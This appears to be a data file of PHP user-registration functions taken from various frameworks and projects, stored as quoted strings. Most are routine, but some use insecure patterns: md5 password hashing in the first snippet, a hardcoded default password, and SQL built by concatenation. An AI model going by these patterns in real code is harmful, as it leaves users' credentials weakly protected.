"public function signupUser()\n { \n $user = User::findByUserEmail($this->email);\n if($user == null) { \n $user = new User();\n $user->user_full_name = $this->username;\n if(!empty($this->phone)) {\n $user->phone_number = $this->phone;\n }\n if(!empty($this->email)) { \n $user->email = $this->email;\n }\n $user->password_hash = md5($this->password);\n $user->login_method = 'email';\n $user->save();\n } \n return $user;\n }",
"protected function _createUser() {\n\t\t$user = System_Locator_TableLocator::getInstance()->get('User')->createRow();\n\t\t$user->username = $this->getUsername();\n\t\t$user->setPassword($this->getPassword());\n\t\t$user->email = $this->getEmail();\n\t\t$user->countryCode = $this->getCountryCode();\n\t\t$user->createdAt = date(DATE_ISO8601); \n\t\treturn $user;\n\t}",
"public function registration(UserCreateRequest $request)\n {\n $credentials = request()->all(['phone', 'password']);\n\n if ($token = auth()->attempt($credentials)) {\n return $this->respondWithToken($token);\n }\n if (User::where('phone', $credentials['phone'])->count() > 0) {\n return response()->json([\n 'errors' => [\n 'wrong' => 'Already exist'\n ]\n ], 401);\n }\n\n $user = User::store($request->all());\n auth()->login($user);\n\n $token = auth()->attempt($credentials);\n return $this->respondWithToken($token);\n }",
"public function postRegister()\n\t{\n\t\t$user = new \\User;\n\n\t\t$user->email = \\Input::get( 'email' );\n\t\t$user->password = \\Input::get( 'password' );\n\n\t\t// The password confirmation will be removed from model\n\t\t// before saving. This field will be used in Ardent's\n\t\t// auto validation.\n\t\t$user->password_confirmation = \\Input::get( 'password_confirmation' );\n\n\t\t// Save if valid. Password field will be hashed before save\n\t\t$user->save();\n\n\t\tif ( $user->id )\n\t\t{\n\t\t\t//Assign the company role to this person\n\t\t\t$roleId = \\Role::where('name', '=', 'Company')->first()->id;\n\t\t\t$user->attachRole($roleId);\n\n\t\t\t// Redirect with success message, You may replace \"Lang::get(...\" for your custom message.\n\t\t\treturn \\Redirect::action('controllers\\company\\AuthController@getLogin')\n\t\t\t\t->with( 'notice', \\Lang::get('confide::confide.alerts.account_created') );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Get validation errors (see Ardent package)\n\t\t\t$error = $user->errors()->all(':message');\n\n\t\t\treturn \\Redirect::action('controllers\\company\\AuthController@getRegister')\n\t\t\t\t->withInput(\\Input::except('password'))\n\t\t\t\t->with( 'error', $error );\n\n\t\t}\n\n\t}",
"public function create()\n {\n $this->validate($this->request, User::createRules());\n\n $user = new User;\n $user->name = $this->request->name;\n $user->phone = $this->request->phone;\n $user->dob = $this->request->dob;\n $user->image = $this->request->image_path;\n $plainPassword = $this->request->password;\n $user->password = app('hash')->make($plainPassword);\n\n $user->save();\n\n //return successful response\n return $this->response(201,\"User\", $user);\n }",
"public function store()\n {\n $attributes = request()->validate([\n 'name' => 'required|max:255',\n 'username' => 'required|unique:users,username',\n 'email' => 'required|email|max:255|unique:users,email',\n 'password' => 'required',\n ]);\n $user = User::create($attributes);\n\n // Auth facades\n auth()->login($user);\n }",
"public function create()\n {\n // TODO: Algún parámetro para no permitir el registro.\n \n // Es ya un usuario?\n if (Core::isUser())\n {\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('') . '\\';');\n return;\n }\n \n // Tenemos datos?\n if ($this->request->is('email'))\n {\n // Validamos los datos\n $form = Core::getLib('form.validator');\n $form->setRules(Core::getService('account.signup')->getValidation());\n \n // Si no hay errores procedemos a capturar los datos.\n if ($form->validate())\n {\n // Agregamos usuario\n if (Core::getService('account.process')->add($this->request->getRequest()))\n {\n if (Core::getParam('user.verify_email_at_signup'))\n {\n // Vamos a que verifique su email\n Core::getLib('session')->set('email', $this->request->get('email'));\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.verify') . '\\';');\n }\n else\n {\n // Iniciamos sesión\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.login') . '\\';');\n }\n \n return;\n }\n }\n }\n \n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.signup') . '\\';');\n }",
"public function writeNewUser () {\n if (! $this->Writeable()){\n throw new Exception('User object is not writeable, cannot write to DB');\n }\n\n if ($this->exists($this->loginId)) {\n throw new Exception('User already exists, cannot be created');\n }\n\n $i = new folksoDBinteract($this->dbc);\n if ($i->db_error()) {\n throw new Exception('DB connect error: ' . $i->error_info());\n }\n\n $i->sp_query(\n sprintf(\"call create_user(\"\n .\"'%s', '%s', '%s', '%s', '', %d, '%s', '%s', '%s')\",\n $i->dbescape($this->nick),\n $i->dbescape($this->firstName),\n $i->dbescape($this->lastName),\n $i->dbescape($this->email),\n $i->dbescape($this->loginId),\n $i->dbescape($this->institution),\n $i->dbescape($this->pays),\n $i->dbescape($this->fonction)));\n\n if ($i->result_status == 'DBERR') {\n throw new Exception('DB query error on create FB user: ' . $i->error_info());\n }\n }",
"public function store(UserCreateRequest $request)\n {\n\t\t\t$user = User::create([\n\t\t\t\t'name' \t\t\t\t=> $request->input('name'),\n\t\t\t\t'lastname' \t\t=> $request->input('lastname'),\n\t\t\t\t'idNumber'\t\t=> $request->input('idNumber'),\n\t\t\t\t'email' \t\t\t=> $request->input('email'),\n\t\t\t\t'phone' \t\t\t=> $request->input('phone'),\n\t\t\t\t'address' \t\t=> $request->input('address'),\n\t\t\t\t'birthdate' \t=> $request->input('birthdate'),\n\t\t\t\t'category_id' => $request->input('category_id'),\n\t\t\t\t'password'\t\t=> 'password', // I NEED TO ADD LOGIN FUNCTIONALITY\n\t\t\t\t'is_admin'\t\t=> 0,\n\t\t\t\t'status' \t\t\t=> 'non live' // As default in the db?\n\t\t\t]);\n\n\t\t\treturn redirect('/users')->with('success', 'User Registered');\n }",
"public function register()\n {\n if ($this->getIsNewRecord() == false) {\n throw new \\RuntimeException('Calling \"' . __CLASS__ . '::' . __METHOD__ . '\" on existing user');\n }\n\n if ($this->module->enableConfirmation == false) {\n $this->confirmed_at = time();\n }\n\n if ($this->module->enableGeneratingPassword) {\n $this->password = Password::generate(8);\n }\n\n $this->trigger(self::USER_REGISTER_INIT);\n\n if ($this->save(false)) {\n Yii::getLogger()->log($this->getErrors(), Logger::LEVEL_INFO);\n $this->trigger(self::USER_REGISTER_DONE);\n if ($this->module->enableConfirmation) {\n $token = \\Yii::createObject([\n 'class' => \\dektrium\\user\\models\\Token::className(),\n 'type' => \\dektrium\\user\\models\\Token::TYPE_CONFIRMATION,\n ]);\n $token->link('user', $this);\n $this->mailer->sendConfirmationMessage($this, $token);\n } else {\n \\Yii::$app->user->login($this);\n }\n if ($this->module->enableGeneratingPassword) {\n $this->mailer->sendWelcomeMessage($this);\n }\n \\Yii::$app->session->setFlash('info', $this->getFlashMessage());\n \\Yii::getLogger()->log('User has been registered', Logger::LEVEL_INFO);\n return true;\n }\n\n \\Yii::getLogger()->log('An error occurred while registering user account', Logger::LEVEL_ERROR);\n\n return false;\n }",
"public function store()\n\t{\n\t\t$rules = array(\n\t\t\t'username'=> 'required|alpha_dash|min:3|unique:users,username',\n\t\t\t'display_name'=> 'required',\n\t\t\t'email'=>'email',\n\t\t\t'password'=> 'required',\n\t\t\t'repeat_password'=> 'required|same:password'\n\t\t);\t\n\n\t\t$validation= Validator::make(Input::all(), $rules);\n\n\t\tif ($validation ->fails()) {\n\t\t\treturn Redirect::to('register')\n\t\t\t\t->withErrors($validation)\n\t\t\t\t->withInput(Input::all());\n\t\t}\n\n\t\t$user = new User;\n\t\t$user->username = Input::get('username');\n\t\t$user->password = Hash::make(Input::get('password'));\n\t\t$user->display_name = Input::get('display_name');\n\t\t$user->email = Input::get('email');\n\t\t$user->role = 'user';\n\t\t$user->token = sha1(uniqid());\n\t\t$user->status = 'pending';\n\t\t$user->save();\n\n\t\treturn Redirect::to('/')\n\t\t\t->with('message','User Created, Waiting for Approval');\n\t}",
"public function register()\n {\n $create_from = $this->request->get_body_params();\n\n $input = (object) array_intersect_key( $create_from,\n array_fill_keys(['username', 'password', 'email'], false)\n );\n\n $update = [\n 'first_name',\n 'last_name',\n ];\n\n /** @var \\WP_Error|integer $user */\n $user_id = \\wp_create_user($input->username, $input->password, $input->email);\n\n if (\\is_wp_error($user_id)) {\n throw new UnauthorizedException($user_id->get_error_message());\n }\n\n /** @var \\WP_User $user */\n $user = \\get_userdata($user_id);\n\n foreach ($update as $att) {\n $user->$att = $create_from[$att];\n }\n\n \\wp_update_user($user);\n\n return $this->response->ok([\n 'message' => sprintf(__('Hello %s', PMLD_TD), $user->nickname),\n 'user' => User::make($user),\n ]);\n\n }",
"public function create(){\n\n $user = User::create($this->_cleaned);\n return $this->respond($user);\n }",
"protected function create(array $data)\n {\n $company = Company::create([\n 'name' => $data['company'],\n 'referrer_id' => Session::pull(self::REFERRER_KEY),\n ]);\n\n $user = new User([\n 'name' => $data['name'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n ]);\n\n $user->company()->associate($company);\n\n if (!$user->save()) {\n abort(500, 'User registration failure.');\n }\n\n return $user;\n }",
"public function register() {\n \n $this->form_validation->set_rules('email', 'Email', 'required|valid_email');\n $this->form_validation->set_rules('password', 'Passwort', 'required');\n $this->form_validation->set_rules('dataprotection', 'Datenschutz', 'required');\n \n if ($this->form_validation->run() === FALSE) {\n \t$this->error(400, 'Validation error');\n }\n \n if (strtolower($this->input->post('dataprotection')) == 'true') {\n \t// TODO: save acceptance or acceptance date to db, i.e. hand over to model\n } else {\n \t$this->error(404, 'Dataprotection error');\n } \n \n $this->user_model->setValue('email', $this->input->post('email'));\n $this->user_model->setValue(\n \t'hashed_password', \n \tpassword_hash($this->input->post('password'), PASSWORD_DEFAULT));\n\n if (! $this->user_model->newUser()) {\n\t\t\t$this->error(409, 'Duplicate');\n }\n\n\t\t$this->sendConfirmationMail($this->input->post('email'));\n\t\t$data['msg'] = $this->input->post('email') . ' registered.';\n\t\t$this->responseWithCode(201, $data);\n }",
"public function register( CreateUserRequest $request ) {\n // store the user in the database\n $credentials = $request->only( 'name', 'email', 'password');\n $credentials[ 'password' ] = bcrypt( $credentials[ 'password' ] );\n $user = User::create($credentials);\n\n // now wire up the provider account (e.g. facebook) to the user, if provided.\n if ( isset( $request['provider'] ) && isset( $request['provider_id'] ) && isset( $request['provider_token'] ) ) {\n $user->accounts()->save( new Account( [\n 'provider' => $request['provider'],\n 'provider_id' => $request['provider_id'],\n 'access_token' => $request['provider_token'],\n ] ) );\n }\n\n // return the JWT to the user\n $token = JWTAuth::fromUser( $user );\n return response( compact( 'token' ), 200 );\n }",
"public function store() \n\t{\n\t\t$input = Input::all();\n\t\t$validation = $this->validator->on('create')->with($input);\n\n\t\tif ($validation->fails())\n\t\t{\n\t\t\treturn Redirect::to(handles(\"orchestra::users/create\"))\n\t\t\t\t\t->withInput()\n\t\t\t\t\t->withErrors($validation);\n\t\t}\n\n\t\t$user = App::make('orchestra.user');\n\t\t$user->status = User::UNVERIFIED;\n\t\t$user->password = $input['password'];\n\n\t\t$this->saving($user, $input, 'create');\n\n\t\treturn Redirect::to(handles('orchestra::users'));\n\t}",
"public function createUser(){\n $post = $this->_app->request->post();\n \n // Load the request schema\n $requestSchema = new \\Fortress\\RequestSchema($this->_app->config('schema.path') . \"/forms/user-create.json\");\n \n // Get the alert message stream\n $ms = $this->_app->alerts; \n \n // Access-controlled resource\n if (!$this->_app->user->checkAccess('create_account')){\n $ms->addMessageTranslated(\"danger\", \"ACCESS_DENIED\");\n $this->_app->halt(403);\n }\n\n // Set up Fortress to process the request\n $rf = new \\Fortress\\HTTPRequestFortress($ms, $requestSchema, $post); \n \n // Sanitize data\n $rf->sanitize();\n \n // Validate, and halt on validation errors.\n $error = !$rf->validate(true);\n \n // Get the filtered data\n $data = $rf->data(); \n \n // Remove csrf_token, password confirmation from object data\n $rf->removeFields(['csrf_token, passwordc']);\n \n // Perform desired data transformations on required fields. Is this a feature we could add to Fortress?\n $data['user_name'] = strtolower(trim($data['user_name']));\n $data['display_name'] = trim($data['display_name']);\n $data['email'] = strtolower(trim($data['email']));\n $data['active'] = 1;\n \n // Check if username or email already exists\n if (UserLoader::exists($data['user_name'], 'user_name')){\n $ms->addMessageTranslated(\"danger\", \"ACCOUNT_USERNAME_IN_USE\", $data);\n $error = true;\n }\n\n if (UserLoader::exists($data['email'], 'email')){\n $ms->addMessageTranslated(\"danger\", \"ACCOUNT_EMAIL_IN_USE\", $data);\n $error = true;\n }\n \n // Halt on any validation errors\n if ($error) {\n $this->_app->halt(400);\n }\n \n // Get default primary group (is_default = GROUP_DEFAULT_PRIMARY)\n $primaryGroup = GroupLoader::fetch(GROUP_DEFAULT_PRIMARY, \"is_default\");\n \n // Set default values if not specified or not authorized\n if (!isset($data['locale']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"locale\"]))\n $data['locale'] = $this->_app->site->default_locale;\n \n if (!isset($data['title']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"title\"])) {\n // Set default title for new users\n $data['title'] = $primaryGroup->new_user_title;\n }\n \n if (!isset($data['primary_group_id']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"primary_group_id\"])) {\n $data['primary_group_id'] = $primaryGroup->id;\n }\n \n // Set groups to default groups if not specified or not authorized to set groups\n if (!isset($data['groups']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"groups\"])) {\n $default_groups = GroupLoader::fetchAll(GROUP_DEFAULT, \"is_default\");\n $data['groups'] = [];\n foreach ($default_groups as $group_id => $group){\n $data['groups'][$group_id] = \"1\";\n }\n }\n \n // Hash password\n $data['password'] = Authentication::hashPassword($data['password']);\n \n // Create the user\n $user = new User($data);\n\n // Add user to groups, including selected primary group\n $user->addGroup($data['primary_group_id']);\n foreach ($data['groups'] as $group_id => $is_member) {\n if ($is_member == \"1\"){ \n $user->addGroup($group_id); \n }\n }\n \n // Store new user to database\n $user->store(); \n \n // Success message\n $ms->addMessageTranslated(\"success\", \"ACCOUNT_CREATION_COMPLETE\", $data);\n }",
"private function generateUser()\n {\n \t$user=new User();\n \t$user->scenario = 'registration';\n \t$user->username=$this->user_name_prefix . '_' . time() . ++$this->userNameCounter;\n \t$user->email=time() . ++$this->emailCounter . $this->faker->unique()->email;\n \t$user->language = Yii::$app->language;\n \t$user->status = User::STATUS_ENABLED;\n \t$this->userId = $user->save(false) ? $user->id:false;\n \t$this->data[] = ['id'=>$user->id,'type'=>'user'];\n \treturn true;\n }",
"private function registerNewUser()\n {\n if (empty($_POST['user_name'])) {\n $this->errors[] = \"Empty Username\";\n } elseif (empty($_POST['user_password_new']) || empty($_POST['user_password_repeat'])) {\n $this->errors[] = \"Empty Password\";\n } elseif ($_POST['user_password_new'] !== $_POST['user_password_repeat']) {\n $this->errors[] = \"Password and password repeat are not the same\";\n } elseif (strlen($_POST['user_password_new']) < 6) {\n $this->errors[] = \"Password has a minimum length of 6 characters\";\n } elseif (strlen($_POST['user_name']) > 64 || strlen($_POST['user_name']) < 2) {\n $this->errors[] = \"Username cannot be shorter than 2 or longer than 64 characters\";\n } elseif (!preg_match('/^[a-z\\d]{2,64}$/i', $_POST['user_name'])) {\n $this->errors[] = \"Username does not fit the name scheme: only a-Z and numbers are allowed, 2 to 64 characters\";\n } elseif (empty($_POST['user_email'])) {\n $this->errors[] = \"Email cannot be empty\";\n } elseif (strlen($_POST['user_email']) > 64) {\n $this->errors[] = \"Email cannot be longer than 64 characters\";\n } elseif (!filter_var($_POST['user_email'], FILTER_VALIDATE_EMAIL)) {\n $this->errors[] = \"Your email address is not in a valid email format\";\n } elseif (!empty($_POST['user_name'])\n && strlen($_POST['user_name']) <= 64\n && strlen($_POST['user_name']) >= 2\n && preg_match('/^[a-z\\d]{2,64}$/i', $_POST['user_name'])\n && !empty($_POST['user_email'])\n && strlen($_POST['user_email']) <= 64\n && filter_var($_POST['user_email'], FILTER_VALIDATE_EMAIL)\n && !empty($_POST['user_password_new'])\n && !empty($_POST['user_password_repeat'])\n && ($_POST['user_password_new'] === $_POST['user_password_repeat'])\n ) {\n // create a database connection\n $this->db_connection = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);\n\n // change character set to utf8 and check it\n if (!$this->db_connection->set_charset(\"utf8\")) {\n $this->errors[] = $this->db_connection->error;\n }\n\n // if no connection errors (= working database connection)\n if (!$this->db_connection->connect_errno) {\n\n // escaping, additionally removing everything that could be (html/javascript-) code\n $user_name = $this->db_connection->real_escape_string(strip_tags($_POST['user_name'], ENT_QUOTES));\n $user_last = $this->db_connection->real_escape_string(strip_tags($_POST['user_last'], ENT_QUOTES));\n $user_email = $this->db_connection->real_escape_string(strip_tags($_POST['user_email'], ENT_QUOTES));\n\n $user_password = $_POST['user_password_new'];\n\n // crypt the user's password with PHP 5.5's password_hash() function, results in a 60 character\n // hash string. the PASSWORD_DEFAULT constant is defined by the PHP 5.5, or if you are using\n // PHP 5.3/5.4, by the password hashing compatibility library\n $user_password_hash = password_hash($user_password, PASSWORD_DEFAULT);\n\n // check if user or email address already exists\n $sql = \"SELECT * FROM users WHERE user_email = '\" . $user_email . \"';\";\n $query_check_user_name = $this->db_connection->query($sql);\n\n if ($query_check_user_name->num_rows == 1) {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, that username / email address is already taken. </div>\";\n } else {\n // write new user's data into database\n $sql = \"INSERT INTO users (user_name, user_last, user_password_hash, user_email)\n VALUES('\" . $user_name . \"', '\" . $user_last . \"', '\" . $user_password_hash . \"', '\" . $user_email . \"');\";\n $query_new_user_insert = $this->db_connection->query($sql);\n\n // if user has been added successfully\n if ($query_new_user_insert) {\n $this->messages[] = \"<div class='alert alert-success center' role='alert'> Your account has been created successfully. Please check your emails.</div>\";\n\n // Load username and datejoined for verifcation via email hashing\n $sql=\"SELECT `user_id`, `user_name`, `user_date_joined` FROM `users` WHERE `user_email` = '\" . $user_email . \"';\";\n $query_load_hash_verify = $this->db_connection->query($sql);\n\n // if loaded then include send email and display message\n if ( $query_load_hash_verify) {\n $result_row = $query_load_hash_verify -> fetch_object();\n $codeid = $result_row->user_id;\n $code2 = md5($result_row->user_name);\n $code3 = md5($result_row->user_date_joined);\n\n // created a hash of when the user joined split it into two parts\n $cuthashtime = substr($code3, 0, 4);\n $endhashtime = substr($code3, -4); \n\n $hashedname = $code2;\n $middlehashname = substr($hashedname, 0, 4);\n\n include 'Email.php';\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, but we couldn't send your email. Please contact support.</div>\";\n }\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, your registration failed. Please go back and try again. </div>\";\n }\n }\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> Sorry, no database connection. </div>\";\n }\n } else {\n $this->errors[] = \"<div class='alert alert-danger center' role='alert'> An unknown error occurred. </div>\";\n }\n }",
"public function registerViaRequest()\n {\n return User::create(array_merge([\n 'password' => bcrypt(input('password')),\n ], only('email', 'name', 'is_public')));\n }",
"protected function create(array $data)\n {\n $user = User::create([\n 'firstname' => $data['firstname'],\n 'lastname' => $data['lastname'],\n 'email' => $data['email'],\n 'role_id' => '3',\n 'status' => '0',\n 'territory' => $data['territory'],\n 'password' => bcrypt($data['password']),\n ]);\n $user->assignRole('client');\n try {\n EmailHelper::emailConfigChanges('user');\n Mail::send('emails.confirm-email', ['user' => $user, 'password' => false], function ($message) use ($user) {\n $message->from(config('mail.from.address'), config('mail.from.name'));\n $message->to($user->email);\n $message->bcc(config('site.bcc_users'));\n $message->subject(config('mail.from.name') . ': Verify your online account.');\n });\n } catch (\\Exception $e) {\n Log::info($e);\n }\n return $user;\n }",
"public function store(CreateUserRequest $request)\n {\n\n // Try creating new user\n $newUser = User::createUserWithProfile($request->all());\n\n // Event new registered user\n event(new Registered($newUser));\n // Send user registered notification\n $newUser->sendUserRegisteredNotification();\n\n // Check if user need to verify email if not app will try to login the new user\n if (config('access.users.verify_email')) {\n // Send Email for Verification\n $newUser->sendEmailVerificationNotification();\n }\n\n return $newUser->sendResponse();\n }",
"protected function create(array $data)\n {\n\n $user = User::create([\n 'first_name' => $data['first_name'],\n 'last_name' => $data['last_name'],\n 'email' => $data['email'],\n 'password' => Hash::make($data['password']),\n 'user_type' => $data['user_type'],\n 'active' => true,\n 'confirmed' => true,\n 'confirmation_code' => md5(uniqid(mt_rand(), true)),\n ]);\n\n // See if adding any additional permissions\n // if (! isset($data['permissions']) || ! count($data['permissions'])) {\n // $data['permissions'] = [];\n // }\n\n if ($user) {\n // User must have at least one role\n // if (! count($data['roles'])) {\n // throw new GeneralException(__('This User Needs atleast One Role'));\n // }\n\n // Add selected roles/permissions\n // $user->syncRoles($data['roles']);\n // $user->syncPermissions($data['permissions']);\n $user->assignRole('Organisation Superadmin');\n $user ->givePermissionTo('View Backend');\n\n //Send confirmation email if requested and account approval is off\n // if (isset($data['confirmation_email']) && $user->confirmed == 0 && ! config('access.users.requires_approval')) {\n // $user->notify(new UserNeedsConfirmation($user->confirmation_code));\n // }\n\n // event(new UserCreated($user));\n\n return $user;\n }\n\n }",
"protected function create(array $data)\n {\n return User::create([\n 'first_name' => $data['first_name'],\n 'last_name' => $data['last_name'],\n 'gender'=>$data['gender'],\n 'tel_mobile'=>$data['tel_mobile'],\n 'country_code'=>$data['country_code'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n 'activated' => !config('settings.send_activation_email')\n ]);\n }",
"protected function createUser()\n {\n $this->question('Enter your details for the admin user.');\n\n $user = \\App\\User::create([\n 'name' => $this->ask('Name', 'Admin'),\n 'email' => $this->ask('Email address', 'noreply@'.str_replace(['http://', 'https://'], '', config('app.url'))),\n 'password' => Hash::make($this->ask('Password')),\n ]);\n \n $this->info(\"Admin user created successfully. You can log in with username {$user->email}\");\n }",
"public function createBlankUser()\r\n {\r\n $user = CrugeFactory::get()->getICrugeStoredUserNewModel();\r\n if ($user != null) {\r\n // asegura que no falle al validar por terminos y condiciones\r\n $user->terminosYCondiciones = true;\r\n // asegura que no falle al validar por captcha\r\n //\tcruge\\models\\data\\CrugeStoredUser.php (bypassCaptcha y _getCaptchaRule)\r\n $user->bypassCaptcha = true;\r\n return $user;\r\n } else {\r\n return null;\r\n }\r\n }",
"public function newUser($user)\n\t{\n\t\t$input = $user;\n\t\t$rules = array(\n\t\t\t'username' => 'required|alpha_num|max:25|unique:users',\n\t\t\t'password' => 'required|min:8|max:25|confirmed',\n\t\t\t'dob' => 'required|before:'.date('Y-m-d', strtotime('-13 years')),\n\t\t\t'gender' => 'required|in:M,F',\n\t\t\t'email' => 'required|email|unique:users',\n\t\t\t'location' => 'regex:/[a-zA-Z0-9 \\-_]*/',\n\t\t\t'wug_api' => 'required_with:location|alpha_num'\n\t\t);\n\n\t\t$validation = Validator::make($input, $rules);\n\n\t\tif ($validation->fails())\n\t\t{\n\t\t return $validation->messages();\n\t\t}\n\n\t\t$api = new Api();\n\t\t$key = $api->randomString(40);\n\n\t\t$loc_id = NULL;\n\n\t\tif(!empty($input['location'])) {\n\t\t\t$loc = new Location();\n\t\t\t$loc_id = $loc->insertGetId(array(\n\t\t\t\t'location' => $input['location'],\n\t\t\t\t'wug_api' => $input['wug_api'],\n\t\t\t));\n\t\t}\n\n\t\t$user = new User();\n\t\t$user->api_key = $key;\n\t\t$user->username = $input['username'];\n\t\t$user->password = Hash::make($input['password']);\n\t\t$user->dob = $input['dob'];\n\t\t$user->gender = $input['gender'];\n\t\t$user->location_id = $loc_id;\n\t\t$user->email = $input['email'];\n\n\t\t$user->save();\n\n\t\treturn true;\n\t}",
"function registerUser()\n {\n $DBA = new DatabaseInterface();\n $fields = array(0 => 'title', 1 => 'first_name', 2 => 'last_name', 3 => 'contacttelephone', 4 => 'contactemail', 5 => 'password', 6 => 'username', 7 => 'dob', 8 => 'house', 9 => 'street', 10 => 'town', 11 => 'county', 12 => 'pcode', 13 => 'optout', 14 => 'newsletter', 15 => 'auth_level', 16 => 'store_owner');\n $fieldvals = array(0 => $this->Title, 1 => $this->FirstName, 2 => $this->LastName, 3 => $this->ContactTelephone, 4 => $this->ContactEmail, 5 => $this->Password, 6 => $this->Username, 7 => $this->DOB, 8 => $this->House, 9 => $this->Street, 10 => $this->Town, 11 => $this->County, 12 => $this->PCode, 13 => $this->Optout, 14 => $this->NewsletterSubscriber, 15 => $this->AuthLevel, 16 => 1);\n $rs = $DBA->insertQuery(DBUSERTABLE, $fields, $fieldvals);\n if ($rs == 1)\n {\n $this->RegistrationSuccess = 1;\n }\n if (isset($this->PCode))\n {\n $this->geoLocate();\n }\n }",
"public function create(UserCreateRequest $request): User\n {\n // TODO: Implement create() method.\n }",
"public function newAppUser()\n {\n $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_STRING);\n $name = filter_input(INPUT_POST, 'name', FILTER_SANITIZE_STRING);\n $password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);\n $role = filter_input(INPUT_POST, 'role', FILTER_SANITIZE_STRING);\n $status = filter_input(INPUT_POST, 'status', FILTER_SANITIZE_NUMBER_INT);\n\n $errorList = [];\n if (empty($email)) {\n $errorList[] = 'Vous devez saisir un email';\n }\n if (empty($name)) {\n $errorList[] = 'Vous devez saisir un nom';\n }\n if (empty($password)) {\n $errorList[] = 'Vous devez saisir un mot de passe';\n }\n if (empty($role)) {\n $errorList[] = 'Vous devez saisir un rôle';\n }\n\n if (empty($errorList)) {\n $user = new AppUser();\n $user->setEmail($email);\n $user->setName($name);\n $user->setPassword($password);\n $user->setRole($role);\n $user->setStatus($status);\n\n $inserted = $user->create();\n\n if ($inserted) {\n global $router;\n header('Location: ' . $router->generate('appusers-list'));\n return;\n } else {\n $errorList[] = 'L\\'insertion des données s\\'est mal passée';\n }\n }\n\n if (!empty($errorList)) {\n $user = new AppUser();\n $user->setEmail($email);\n $user->setName($name);\n $user->setPassword($password);\n $user->setRole($role);\n $user->setStatus($status);\n\n $this->show('users/add', [\n 'errorList' => $errorList,\n 'user' => $user\n ]);\n }\n }",
"public function execute(array $data) : User\n {\n $data['password'] = Hash::make($data['password']);\n\n //We will create activation code to be used for Email Confirmation\n $data['activation_token'] = QioskApp::createToken('email');\n\n //Now we create the user by adding it to our database\n $user = $this->User::create($data);\n\n //throws an exception if user hasnt yet created\n if (!$user) {\n throw new CustomException('Registration falied!', 500);\n }\n\n //dispatch an event to send confirmation email and log user creation\n event(new $this->signedUpEvent($user));\n\n return $user;\n }",
"public function createRegister(){\n\t\t$userRepo = new UserRepository(App::getInstance());\n\n\t\t//check if user exists first. Search user by email.\n\t\t$user = $userRepo->getUserByEmail($_POST['email']);\n\t\tif($user!=null){\n\t\t\t//Error Message\n\t\t\treturn view('newRegForm')->with('error', true);\n\t\t}\n\n\t\telse{\n\t\t\t//Creates a new user and then returns ALL the registers to the view\n\t\t\t$user = new User($_POST);\n\t\t\t$user = $userRepo->create($user);\n\t\t\t$user = $userRepo->selectAll();\n\n\t\t\treturn view('viewRegisters')->with(['users'=>$user,'error'=>false]);\n\t\t}\n\t}",
"public function registerAction(Request $request){\n //for the view\n $params = array(\"title\" => _(\"Sign up\"), \"errors\" => array());\n\n $params['username'] = \"\";\n $params['email'] = \"\";\n\n //handle register form\n if ($request->isMethod('post')){\n\n $username = $request->input('username');\n $params['username'] = $username;\n $email = $request->input('email');\n $params['email'] = $email;\n $password = $request->input('password');\n $password_bis = $request->input('password_bis');\n\n //validation\n $validator = new CustomValidator();\n\n $validator->validateUsername($username);\n $validator->validateUniqueUsername($username);\n $validator->validateEmail($email);\n $validator->validateUniqueEmail($email);\n $validator->validatePassword($password);\n $validator->validatePasswordBis($password_bis, $password);\n\n if ($validator->isValid()){\n //hydrate user obj\n $securityHelper = new SH();\n $user = new User();\n \n $user->setNewUuid();\n $user->setUsername( $username );\n $user->setEmail( $email );\n $user->setEmailValidated(false);\n $user->setRole( \"user\" );\n $user->setSalt( SH::randomString() );\n $user->setToken( SH::randomString() );\n $user->setSiteLanguage( 'en' );\n $user->setActive( true );\n\n $hashedPassword = $securityHelper->hashPassword( $password, $user->getSalt() );\n \n $user->setPassword( $hashedPassword );\n// $user->setIpAtRegistration( $_SERVER['REMOTE_ADDR'] );\n $user->setIpAtRegistration($request->ip());\n $user->setDateCreated( time() );\n $user->setDateModified( time() );\n\n //save it\n $userManager = new UserManager();\n $userManager->save($user);\n// @TODO: MAILER\n// send email confirmation message\n// $mailer = new Mailer();\n//\n// $mailerResult = $mailer->sendRegistrationConfirmation($user);\n\n //log user in right now (will redirect home)\n $this->logUser($request, $user);\n// $this->logUser($request, $user);\n $json = new JsonResponse();\n $json->setData(array(\"redirectTo\" => Route('graph')));\n $json->send();\n }\n //not valid\n else {\n $errors = $validator->getErrors();\n $params[\"errors\"] = $errors;\n return response()->json([\n 'error' => $errors\n ],400);\n }\n\n }\n return view('auth.register',['params'=> $params]);\n// $view = new View(\"register.php\", $params);\n// $view->setLayout(\"../View/layouts/modal.php\");\n// $view->send(true);\n }",
"public function signup()\n {\n if ($this->validate()) {\n $user = new User();\n $user->username = $this->username;\n $user->first_name = $this->firstName;\n $user->last_name = $this->lastName;\n $user->email = $this->email;\n $user->setPassword($this->password);\n $user->generateAuthKey();\n $user->ip = Yii::$app->request->getUserIP();\n $user->ua = Yii::$app->request->getUserAgent();\n if ($user->save()) {\n $this->user = $user;\n $this->sendMail();\n return $user;\n }\n }\n\n return false;\n }",
